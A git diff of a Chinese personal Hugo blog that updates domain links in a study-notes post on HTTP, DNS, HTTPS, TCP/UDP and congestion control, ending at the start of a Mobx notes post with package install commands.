window）值来控制（如果cwnd为1，那么只能发送1个数据报文段）\n慢开始算法的思路就是一开始不发送大量的数据，先测一下网络的拥塞的大小，从小到大逐渐增长拥塞窗口，慢开始门限初始值为16，cwnd初始化为一个报文段（慢开始算法只在TCP连接建立时和网络超时才使用）\n拥塞控制算法：控制拥塞窗口缓慢增长，思路是每经过一次RTT往返后，拥塞窗口（cwnd）加1，线性缓慢增长，当cwnd=16（慢开始门限），改执行拥塞控制算法，线性增长（当cwnd\u003e=ssthresh时，执行拥塞控制算法），ssthresh指的是慢开始门限\n例如：当网络出现拥塞时，将下降慢开始门限（ssthresh）到cwnd/2的值，cwnd设置为1，执行慢开始算法，当cwnd=ssthresh，执行拥塞控制算法\n快重传算法：需要接收方收到失序的报文段时立刻发出重复确认（接收连续收到3次同一个重复确认，执行快重传算法，立刻重新发送丢失的数据，不等待超时时间过期），例如某个报文段被超时期限内没有收到确认信息，则认定为网络拥塞了，这时cwnd设置为1，慢开始门限（ssthresh）下降（下降一半）\n快恢复算法：快恢复算法是搭配快重传算法使用的，必须发送方接收到3个重复确认，执行快重传算法后才执行快恢复算法，（但是考虑网络出现拥塞可能收不到重复确认，所以发送方会认为网络没有拥塞，设置swnd等于ssthresh/2，执行拥塞控制算法，让cwnd线性增长）\n题外扩展1：socket是计算机之间进行通信的一种约定或一种方式，翻译为中文叫套接字，socket起源于unix的进程通信机制，可通过socket来向网络发送请求或者回复网络请求，socket是应用层和TCP/IP协议族通信的抽象层\n题外扩展2：webSocket是在单个TCP连接上进行全双工通信(full-duplex)的协议，允许服务端主动向客户端发送数据，在webSocket中，客户端和服务端只需要完成一次握手就是可以建立持久性连接，并且进行双向数据传输\n当浏览器访问一个域名时，发送了什么事情？\n客户端（浏览器端）访问域名，该域名下的DNS解析服务器将解析出ip地址，并且通过该ip地址找到目标web服务端\n客户端通过tcp3次握手和服务端建立TCP连接，客户端根据需求，向web服务端发送http请求报文，向服务器请求所需要的资源文件，web服务端接收到http请求报文，根据要求返回HTTP响应报文\n如果请求资源是html文档，则将对应目录下的HTML文档，以响应内容的方式返回给客户端，而当请求资源是php文件或者jsp文件时，由于web服务器无法处理php脚本或者jsp脚本文件，需要委托给专门的php引擎或者jsp引擎，引擎动态解析成html，然后将其返回给web服务器，web服务端再发送给客户端\nhttp的长连接（复用tcp/http连接）\nConnection ID：用于区分http连接，不同的http连接，ID是不同的\n判断是否是http长连接，通过headers的Connection来判断，如果为keep-alive就是代表该请求是http的长连接完成的，如果是close表示是短连接\n因为浏览器限制一个域最大创建6个连接，如果一个域有7个连接需求，就需要等待前面的6个连接其中一个响应完成后再建立连接（连接阻塞）\nTCP的可靠性\n奇偶校验（在发送的每个字节后加上一位，让字节中为1的数可以是奇数或者偶数，通过奇偶校验来确定数据是否出错）\n这里使用的是00001010，a的二进制\n奇校验：在字节后补个0，例如：000010100，位为1的数量为偶数（2个）\n偶校验：在字节后补个1，例如：000010101，位为1的数量为奇数（3个）\n累加和校验（在数据包的最后加入之前全部数据的字节点累加和）\n例如：要传输8，10，2，5，12\n加上累加后实质的数据包为8，10，2，5，12，37\n而且这个37就是前面全部数据的累加校验和，数据接收方只需要对前面的数据进行累加计算，如果这个本地的累加计算和数据包最后一个字节不相同时，认定数据错误，否则数据正确\nCRC校验（CRC算法）\nDV（域名验证）证书，OV（组织验证）证书，EV（扩展验证）证书\nDV ssl证书颁发只验证申请人是否具备域名所有权，OV ssl证书颁发验证申请人的身份证明，确认对方的身份，EV ssl证书颁发最为严格，在验证申请人的身份证明，一般都是银行，金融，电子商务，大型企业，保险等需要最高级别加密才会使用（因为EV证书价格贵）\n","wordCount":"246","inLanguage":"en","datePublished":"2021-08-08T17:02:00Z","dateModified":"2021-08-08T17:02:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/posts/77/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/posts/>Posts</a></div><h1 class=post-title>简单认识HTTP协议</h1><div class=post-meta><span title='2021-08-08 17:02:00 +0000 UTC'>2021-08-08</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://chenjunlinabc.github.io//posts/%e7%ae%80%e5%8d%95%e8%ae%a4%e8%af%86HTTP%e5%8d%8f%e8%ae%ae.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>HTTP（HyperText Transfer Protocol）中文叫超文本传输协议，从中文名就知道是传输html文件或者其他超文本文件的</p><p>HTTP是基于TCP/IP协议来传输数据的</p><p>访问http服务器可以直接通过ip或者域名（域名其实是解析到ip的，实际上还是访问ip），通过web服务器提供的端口来进行请求或者响应</p><p>浏览器和web服务器之间通信的架构叫B/S结构（Browser Server），使用的协议是HTTP（https协议其实就是HTTP的基础上，添加了SSL</p><p>http是一种协议，制定了客户端与服务端信息数据的传递的规则</p><p>从传递文本，到传递图片，音频，视频</p><p>HTTP/0.9：于1990年问世，只能用于简单文字的交换，只有GET命令
 HTTP/1.0：被正式列为www传输的标准，纳入RFC1945，增加status code和header，支持多字符集，权限，缓存等功能
 HTTP/1.1：在1.0的基础上加上了连接方式的规约，持久连接，pipeline，host头
 HTTP/2.0：HTTP2.0更安全，性能更好，二进制传输（2之前是字符串传输）</p><p>http协议规定了会话是由客户端发起，服务端响应的</p><p>客户端常见请求方式有GET，POST</p><p>OSI七层模型，http协议是最上层的应用层</p><p>应用层，表示层，会话层，传输层，网络层，数据链路层，物理层</p><p>数据发送是从应用层到物理层（数据封装）</p><p>数据接收是从物理层到应用层（数据解包）</p><p>应用层就是为终端提供服务的，例如http，ftp等等</p><p>表示层为数据提供压缩，加密等等功能</p><p>会话层就是通过会话标识来确定是于哪个应用在通讯</p><p>传输层就是定义了数据传输的协议和端口</p><p>网络层就是加工数据，为数据添加一些信息，这一层的数据叫做包</p><p>数据链路层就是定义了在单个链路上如何传输数据，网络中每台设备都有一个唯一的网络标识（MAC地址），这一层的数据叫做帧</p><p>物理层就是物理设备的标准</p><p>TCP/IP五层模型：应用层，传输层，网络层，数据链路层和物理层</p><p>路由寻址：ip，mac，dhcp服务器</p><p>先通过ip实现跨网端通信（如果是本地则直接传输给目标机器，不是则传输给出口路由器，一直到目标路由），然后通过MAC找到目标机器，目标机器获取到数据再根据网络模型向上处理</p><p>DNS</p><p>DNS域名系统是一个记录IP和域名映射的，域名服务器是分布式的，全世界一共有13台根域名服务器，当域名服务器只要自己解析不了，就会交给根域名服务器处理</p><p>解析过程：</p><p>机器通过访问本地域名服务器（一般是本地运营商提供，默认解析服务器）查询</p><p>本地域名服务器检查缓存，没有就是向根域名服务器的其中一台发起查询请求</p><p>根域名服务器根据要查询的结构找到对应的顶级域名服务器（管理全部注册在上面的二级域名服务器）信息发送会本地域名服务器</p><p>本地域名服务器向顶级域名服务器发起查询</p><p>顶级域名服务器根据域名结构查找到对应的二级域名服务器</p><p>反复迭代最终查找到域名和 IP 的对应关系</p><p>如果直接设置个公共域名服务器（例如：114，8之类的）能大大提升解析速度</p><p>DNS解析的记录类型</p><p>A记录</p><p>直接将域名解析为IP</p><p>CNAME记录</p><p>给域名起个cname别名，例如访问了xxx会转发到aaa的域名上</p><p>NS记录</p><p>域名解析服务器记录，一般用来指定不同子域名对应到不同的解析服务器</p><p>MX 记录</p><p>电子邮箱服务，将指向邮件服务器地址</p><p>CDN加速过程：</p><p>用户访问域名地址</p><p>因为域名被cdn接管了，域名解析只能获取到CNAME</p><p>CDN通过CNAME来将地址代理到cdn服务器上，而不是源站</p><p>通过CNAME获取到最近的cdn服务器的Ip地址，然后访问到cdn缓存服务器</p><p>cdn缓存服务器再根据策略来判断是否存在该资源缓存，是否要向源站请求数据，再将数据返回给用户</p><p>HTTPS协议</p><p>通过http通信，经过SSL/TLS来建立安全信道，加密数据，http默认端口为80，https为443</p><p>https就是在http协议基础上加了ssl协议</p><p>一般服务端需要通过ssl证书来证明自己身份，ssl证书不可逆向，不可伪造，一旦发现伪造或者ssl证书不正确，浏览器一般都会拦截提示</p><p>某些需要极其安全的需要客户端也是要证明身份，例如银行网站</p><p>SSL协议：保证数据发送到正确目标，数据加密防止数据中途被拦截获取，保证数据完整性，数据不被串改</p><p>HTTP方法：定义了对资源的操作，例如GET，POST等等</p><hr><p>前端中的HTTP</p><p>先进行DNS解析-建立TCP连接（3次握手）-发送HTTP请求获取相关内容-浏览器构建DOM树和CSS树，然后生成渲染树。这个一个渐进式过程，浏览器引擎会力求最快将内容呈现给用户-关闭TCP连接（4次握手）</p><hr><p>http常见状态码</p><p>1xx 信息
@@ -193,8 +193,8 @@
     { code: 504, msg: '网关超时' },
     { code: 505, msg: 'HTTP版本不受支持' }
 ]
-</code></pre><hr><p>http的特点：可以根据协议头的head的数据类型，来完成不同的数据类型的传输，而且能保持连接（http1.0是非长时间连接，这里的保持连接指的是HTTP1.1的KeepAlive），不区分连接者的身份（无法分辨该客户是否访问过）</p><p>http请求报文：由请求行（HTTP协议版本，URL字段，方法字段），请求头（向服务端请求要什么类型的什么数据），空行（提示服务端，请求头已经发送，不会再有请求头），请求体（数据）组成</p><p>http响应报文：由响应行（HTTP协议版本，状态码），响应头（响应数据是什么类型的），空行（提示客户端，响应已经发送，不会再有响应），响应体（数据）组成</p><p>HTTP CODE：表示服务器对请求的处理结果，常见的状态码有404，200，301，502，401等等</p><p>TCP心跳机制：客户端每隔一段时间发送心跳包给服务端，通知服务端自己还在线，可以保持长连接</p><p>KeepAlive模式（持久连接/连接复用）：可以在发送响应后的一段时间内保持连接，并且允许在同一个连接中存在多次数据请求和响应，而非KeepAlive模式就是会在响应后立刻断开连接，再新建一个连接来请求和响应，只有HTTP1.1支持KeepAlive模式</p><p>管线化：在持久连接下，会将请求一起打包发送（多请求），然后服务端也是打包响应（多响应），管线化必须在持久连接下完成，而且只有GET和HEAD请求支持管线化，POST有所限制，首次连接不会使用管线化机制（避免服务端不支持HTTP1.1）,而且管线化不会影响响应返回的顺序</p><hr><p>TCP和UDP区别：tcp在发送之前需要连接，udp在发送之前不需要连接，tcp协议保证发送的数据不丢失（并且按照顺序接收），而udp并不能保证数据可靠，数据不丢失，不重复。tcp是字节流，udp是报文流，UDP没有堵塞系统（在网络堵塞的情况，不会影响源的发送量），tcp连接是点对点，udp的连接是可以一对一，一对多，多对一，多对多的，TCP首部开销为20字节，udp为8字节，tcp为可靠信道，udp为不可靠信道</p><p>(TCP可靠在会记录那些数据发送了，又有那些数据被接收了，那些数据没有被接收，数据包按序到达，不允许出现半点差错，tcp连接需要三次握手，四次挥手来建立连接和结束连接)</p><p>udp确保传输可靠：传输层已经不可靠，只能在应用层添加可靠传输的机制，例如超时重新发送，添加序号（根据序号有序发送/请求），时间戳等等，或者UDT（UDP-based Data Transfer Protocol）</p><p>(TCP在高速长距离网络上性能很差)</p><p>udt基于udp协议，引入拥塞控制和数据可靠性控制机制。UDT是面向连接的双向的应用层协议。并且同时支持可靠的数据流传输和部分可靠的数据报传输，支持点对点(p2p)</p><p>tcp第三次握手可以携带数据发送（客户端处在ESTABLISHED状态）</p><hr><p>http和https</p><p>http是无状态协议（无状态指客户端和服务端之间无需建立持久连接，当客户端发送请求，服务端返回响应后将关闭连接，服务端不保留任何有关连接的信息）</p><p>https是指基于http协议加上了ssl层，https默认端口为443</p><p>对称加密技术：加密和解密使用同一密钥，意味着数据传输过程中需要将密钥也一同传输（这个过程很危险）</p><p>非对称加密：加密使用公钥，解密使用私钥（也可反过来），反正加密和解密是分别使用不同的密钥，这个过程是服务端将公钥分发到网络上，客户端获取到该公钥，客户端的数据使用公钥进行加密（无法使用公钥来解密），服务端获取到加密的数据后，通过服务端的私钥进行解密，来获取正文</p><hr><p>URL（Uniform Resource Locator，统一资源定位符）</p><p>URN（Uniform Resource Name，统一资源名）</p><hr><p>流量控制和拥塞控制</p><p>流量控制指的是限制（控制）发送者的发送速度，避免发送数据过快，接收者来不及接收，流量控制通过滑动窗口协议（连续ARQ协议）实现，通过接收方返回的ACK包（包含接受窗口大小），利用接受窗口大小来限制（控制）发送方的数据发送</p><p>拥塞控制</p><p>拥塞控制目的是防止网络负载过大，TCP的4大拥塞控制算法的，慢开始算法，拥塞控制算法，快重传算法，快恢复算法</p><p>慢开始算法：通过cwnd（congestion window）值来控制（如果cwnd为1，那么只能发送1个数据报文段）</p><p>慢开始算法的思路就是一开始不发送大量的数据，先测一下网络的拥塞的大小，从小到大逐渐增长拥塞窗口，慢开始门限初始值为16，cwnd初始化为一个报文段（慢开始算法只在TCP连接建立时和网络超时才使用）</p><p>拥塞控制算法：控制拥塞窗口缓慢增长，思路是每经过一次RTT往返后，拥塞窗口（cwnd）加1，线性缓慢增长，当cwnd=16（慢开始门限），改执行拥塞控制算法，线性增长（当cwnd>=ssthresh时，执行拥塞控制算法），ssthresh指的是慢开始门限</p><p>例如：当网络出现拥塞时，将下降慢开始门限（ssthresh）到cwnd/2的值，cwnd设置为1，执行慢开始算法，当cwnd=ssthresh，执行拥塞控制算法</p><p>快重传算法：需要接收方收到失序的报文段时立刻发出重复确认（接收连续收到3次同一个重复确认，执行快重传算法，立刻重新发送丢失的数据，不等待超时时间过期），例如某个报文段被超时期限内没有收到确认信息，则认定为网络拥塞了，这时cwnd设置为1，慢开始门限（ssthresh）下降（下降一半）</p><p>快恢复算法：快恢复算法是搭配快重传算法使用的，必须发送方接收到3个重复确认，执行快重传算法后才执行快恢复算法，（但是考虑网络出现拥塞可能收不到重复确认，所以发送方会认为网络没有拥塞，设置swnd等于ssthresh/2，执行拥塞控制算法，让cwnd线性增长）</p><p>题外扩展1：socket是计算机之间进行通信的一种约定或一种方式，翻译为中文叫套接字，socket起源于unix的进程通信机制，可通过socket来向网络发送请求或者回复网络请求，socket是应用层和TCP/IP协议族通信的抽象层</p><p>题外扩展2：webSocket是在单个TCP连接上进行全双工通信(full-duplex)的协议，允许服务端主动向客户端发送数据，在webSocket中，客户端和服务端只需要完成一次握手就是可以建立持久性连接，并且进行双向数据传输</p><hr><p>当浏览器访问一个域名时，发送了什么事情？</p><p>客户端（浏览器端）访问域名，该域名下的DNS解析服务器将解析出ip地址，并且通过该ip地址找到目标web服务端</p><p>客户端通过tcp3次握手和服务端建立TCP连接，客户端根据需求，向web服务端发送http请求报文，向服务器请求所需要的资源文件，web服务端接收到http请求报文，根据要求返回HTTP响应报文</p><p>如果请求资源是html文档，则将对应目录下的HTML文档，以响应内容的方式返回给客户端，而当请求资源是php文件或者jsp文件时，由于web服务器无法处理php脚本或者jsp脚本文件，需要委托给专门的php引擎或者jsp引擎，引擎动态解析成html，然后将其返回给web服务器，web服务端再发送给客户端</p><hr><p>http的长连接（复用tcp/http连接）</p><p>Connection ID：用于区分http连接，不同的http连接，ID是不同的</p><p>判断是否是http长连接，通过headers的Connection来判断，如果为keep-alive就是代表该请求是http的长连接完成的，如果是close表示是短连接</p><p>因为浏览器限制一个域最大创建6个连接，如果一个域有7个连接需求，就需要等待前面的6个连接其中一个响应完成后再建立连接（连接阻塞）</p><hr><p>TCP的可靠性</p><p>奇偶校验（在发送的每个字节后加上一位，让字节中为1的数可以是奇数或者偶数，通过奇偶校验来确定数据是否出错）</p><p>这里使用的是00001010，a的二进制</p><p>奇校验：在字节后补个0，例如：000010100，位为1的数量为偶数（2个）</p><p>偶校验：在字节后补个1，例如：000010101，位为1的数量为奇数（3个）</p><p>累加和校验（在数据包的最后加入之前全部数据的字节点累加和）</p><p>例如：要传输8，10，2，5，12</p><p>加上累加后实质的数据包为8，10，2，5，12，37</p><p>而且这个37就是前面全部数据的累加校验和，数据接收方只需要对前面的数据进行累加计算，如果这个本地的累加计算和数据包最后一个字节不相同时，认定数据错误，否则数据正确</p><p>CRC校验（CRC算法）</p><hr><p>DV（域名验证）证书，OV（组织验证）证书，EV（扩展验证）证书</p><p>DV ssl证书颁发只验证申请人是否具备域名所有权，OV ssl证书颁发验证申请人的身份证明，确认对方的身份，EV ssl证书颁发最为严格，在验证申请人的身份证明，一般都是银行，金融，电子商务，大型企业，保险等需要最高级别加密才会使用（因为EV证书价格贵）</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://xiaochenabc123.github.io/tags/http/>http</a></li></ul><nav class=paginav><a class=prev href=https://xiaochenabc123.github.io/posts/78/><span class=title>« Prev</span><br><span>Mobx学习笔记</span></a>
-<a class=next href=https://xiaochenabc123.github.io/posts/76/><span class=title>Next »</span><br><span>MongoDB学习笔记</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+</code></pre><hr><p>http的特点：可以根据协议头的head的数据类型，来完成不同的数据类型的传输，而且能保持连接（http1.0是非长时间连接，这里的保持连接指的是HTTP1.1的KeepAlive），不区分连接者的身份（无法分辨该客户是否访问过）</p><p>http请求报文：由请求行（HTTP协议版本，URL字段，方法字段），请求头（向服务端请求要什么类型的什么数据），空行（提示服务端，请求头已经发送，不会再有请求头），请求体（数据）组成</p><p>http响应报文：由响应行（HTTP协议版本，状态码），响应头（响应数据是什么类型的），空行（提示客户端，响应已经发送，不会再有响应），响应体（数据）组成</p><p>HTTP CODE：表示服务器对请求的处理结果，常见的状态码有404，200，301，502，401等等</p><p>TCP心跳机制：客户端每隔一段时间发送心跳包给服务端，通知服务端自己还在线，可以保持长连接</p><p>KeepAlive模式（持久连接/连接复用）：可以在发送响应后的一段时间内保持连接，并且允许在同一个连接中存在多次数据请求和响应，而非KeepAlive模式就是会在响应后立刻断开连接，再新建一个连接来请求和响应，只有HTTP1.1支持KeepAlive模式</p><p>管线化：在持久连接下，会将请求一起打包发送（多请求），然后服务端也是打包响应（多响应），管线化必须在持久连接下完成，而且只有GET和HEAD请求支持管线化，POST有所限制，首次连接不会使用管线化机制（避免服务端不支持HTTP1.1）,而且管线化不会影响响应返回的顺序</p><hr><p>TCP和UDP区别：tcp在发送之前需要连接，udp在发送之前不需要连接，tcp协议保证发送的数据不丢失（并且按照顺序接收），而udp并不能保证数据可靠，数据不丢失，不重复。tcp是字节流，udp是报文流，UDP没有堵塞系统（在网络堵塞的情况，不会影响源的发送量），tcp连接是点对点，udp的连接是可以一对一，一对多，多对一，多对多的，TCP首部开销为20字节，udp为8字节，tcp为可靠信道，udp为不可靠信道</p><p>(TCP可靠在会记录那些数据发送了，又有那些数据被接收了，那些数据没有被接收，数据包按序到达，不允许出现半点差错，tcp连接需要三次握手，四次挥手来建立连接和结束连接)</p><p>udp确保传输可靠：传输层已经不可靠，只能在应用层添加可靠传输的机制，例如超时重新发送，添加序号（根据序号有序发送/请求），时间戳等等，或者UDT（UDP-based Data Transfer Protocol）</p><p>(TCP在高速长距离网络上性能很差)</p><p>udt基于udp协议，引入拥塞控制和数据可靠性控制机制。UDT是面向连接的双向的应用层协议。并且同时支持可靠的数据流传输和部分可靠的数据报传输，支持点对点(p2p)</p><p>tcp第三次握手可以携带数据发送（客户端处在ESTABLISHED状态）</p><hr><p>http和https</p><p>http是无状态协议（无状态指客户端和服务端之间无需建立持久连接，当客户端发送请求，服务端返回响应后将关闭连接，服务端不保留任何有关连接的信息）</p><p>https是指基于http协议加上了ssl层，https默认端口为443</p><p>对称加密技术：加密和解密使用同一密钥，意味着数据传输过程中需要将密钥也一同传输（这个过程很危险）</p><p>非对称加密：加密使用公钥，解密使用私钥（也可反过来），反正加密和解密是分别使用不同的密钥，这个过程是服务端将公钥分发到网络上，客户端获取到该公钥，客户端的数据使用公钥进行加密（无法使用公钥来解密），服务端获取到加密的数据后，通过服务端的私钥进行解密，来获取正文</p><hr><p>URL（Uniform Resource Locator，统一资源定位符）</p><p>URN（Uniform Resource Name，统一资源名）</p><hr><p>流量控制和拥塞控制</p><p>流量控制指的是限制（控制）发送者的发送速度，避免发送数据过快，接收者来不及接收，流量控制通过滑动窗口协议（连续ARQ协议）实现，通过接收方返回的ACK包（包含接受窗口大小），利用接受窗口大小来限制（控制）发送方的数据发送</p><p>拥塞控制</p><p>拥塞控制目的是防止网络负载过大，TCP的4大拥塞控制算法的，慢开始算法，拥塞控制算法，快重传算法，快恢复算法</p><p>慢开始算法：通过cwnd（congestion window）值来控制（如果cwnd为1，那么只能发送1个数据报文段）</p><p>慢开始算法的思路就是一开始不发送大量的数据，先测一下网络的拥塞的大小，从小到大逐渐增长拥塞窗口，慢开始门限初始值为16，cwnd初始化为一个报文段（慢开始算法只在TCP连接建立时和网络超时才使用）</p><p>拥塞控制算法：控制拥塞窗口缓慢增长，思路是每经过一次RTT往返后，拥塞窗口（cwnd）加1，线性缓慢增长，当cwnd=16（慢开始门限），改执行拥塞控制算法，线性增长（当cwnd>=ssthresh时，执行拥塞控制算法），ssthresh指的是慢开始门限</p><p>例如：当网络出现拥塞时，将下降慢开始门限（ssthresh）到cwnd/2的值，cwnd设置为1，执行慢开始算法，当cwnd=ssthresh，执行拥塞控制算法</p><p>快重传算法：需要接收方收到失序的报文段时立刻发出重复确认（接收连续收到3次同一个重复确认，执行快重传算法，立刻重新发送丢失的数据，不等待超时时间过期），例如某个报文段被超时期限内没有收到确认信息，则认定为网络拥塞了，这时cwnd设置为1，慢开始门限（ssthresh）下降（下降一半）</p><p>快恢复算法：快恢复算法是搭配快重传算法使用的，必须发送方接收到3个重复确认，执行快重传算法后才执行快恢复算法，（但是考虑网络出现拥塞可能收不到重复确认，所以发送方会认为网络没有拥塞，设置swnd等于ssthresh/2，执行拥塞控制算法，让cwnd线性增长）</p><p>题外扩展1：socket是计算机之间进行通信的一种约定或一种方式，翻译为中文叫套接字，socket起源于unix的进程通信机制，可通过socket来向网络发送请求或者回复网络请求，socket是应用层和TCP/IP协议族通信的抽象层</p><p>题外扩展2：webSocket是在单个TCP连接上进行全双工通信(full-duplex)的协议，允许服务端主动向客户端发送数据，在webSocket中，客户端和服务端只需要完成一次握手就是可以建立持久性连接，并且进行双向数据传输</p><hr><p>当浏览器访问一个域名时，发送了什么事情？</p><p>客户端（浏览器端）访问域名，该域名下的DNS解析服务器将解析出ip地址，并且通过该ip地址找到目标web服务端</p><p>客户端通过tcp3次握手和服务端建立TCP连接，客户端根据需求，向web服务端发送http请求报文，向服务器请求所需要的资源文件，web服务端接收到http请求报文，根据要求返回HTTP响应报文</p><p>如果请求资源是html文档，则将对应目录下的HTML文档，以响应内容的方式返回给客户端，而当请求资源是php文件或者jsp文件时，由于web服务器无法处理php脚本或者jsp脚本文件，需要委托给专门的php引擎或者jsp引擎，引擎动态解析成html，然后将其返回给web服务器，web服务端再发送给客户端</p><hr><p>http的长连接（复用tcp/http连接）</p><p>Connection ID：用于区分http连接，不同的http连接，ID是不同的</p><p>判断是否是http长连接，通过headers的Connection来判断，如果为keep-alive就是代表该请求是http的长连接完成的，如果是close表示是短连接</p><p>因为浏览器限制一个域最大创建6个连接，如果一个域有7个连接需求，就需要等待前面的6个连接其中一个响应完成后再建立连接（连接阻塞）</p><hr><p>TCP的可靠性</p><p>奇偶校验（在发送的每个字节后加上一位，让字节中为1的数可以是奇数或者偶数，通过奇偶校验来确定数据是否出错）</p><p>这里使用的是00001010，a的二进制</p><p>奇校验：在字节后补个0，例如：000010100，位为1的数量为偶数（2个）</p><p>偶校验：在字节后补个1，例如：000010101，位为1的数量为奇数（3个）</p><p>累加和校验（在数据包的最后加入之前全部数据的字节点累加和）</p><p>例如：要传输8，10，2，5，12</p><p>加上累加后实质的数据包为8，10，2，5，12，37</p><p>而且这个37就是前面全部数据的累加校验和，数据接收方只需要对前面的数据进行累加计算，如果这个本地的累加计算和数据包最后一个字节不相同时，认定数据错误，否则数据正确</p><p>CRC校验（CRC算法）</p><hr><p>DV（域名验证）证书，OV（组织验证）证书，EV（扩展验证）证书</p><p>DV ssl证书颁发只验证申请人是否具备域名所有权，OV ssl证书颁发验证申请人的身份证明，确认对方的身份，EV ssl证书颁发最为严格，在验证申请人的身份证明，一般都是银行，金融，电子商务，大型企业，保险等需要最高级别加密才会使用（因为EV证书价格贵）</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://chenjunlinabc.github.io/tags/http/>http</a></li></ul><nav class=paginav><a class=prev href=https://chenjunlinabc.github.io/posts/78/><span class=title>« Prev</span><br><span>Mobx学习笔记</span></a>
+<a class=next href=https://chenjunlinabc.github.io/posts/76/><span class=title>Next »</span><br><span>MongoDB学习笔记</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>
\ No newline at end of file
diff --git a/posts/78/index.html b/posts/78/index.html
index 87a2b078..10636c69 100644
--- a/posts/78/index.html
+++ b/posts/78/index.html
@@ -2,118 +2,118 @@
 Mobx通过透明的函数响应式编程使得状态管理变得简单和可扩展
 Mobx状态管理是基于观察者模式的（Mobx6.0移除了修饰器）
 安装Mobx
-npm install mobx mobx-react --save
或者
-yarn add mobx mobx-react --save
导入
-import {observable, autorun, computed, action, makeObservable,reaction,when} from &#34;mobx&#34;
import {observer} from &#34;mobx-react&#34;
注意：在严格模式中，是不允许在action之外改变状态的
+npm install mobx mobx-react --save 或者
+yarn add mobx mobx-react --save 导入
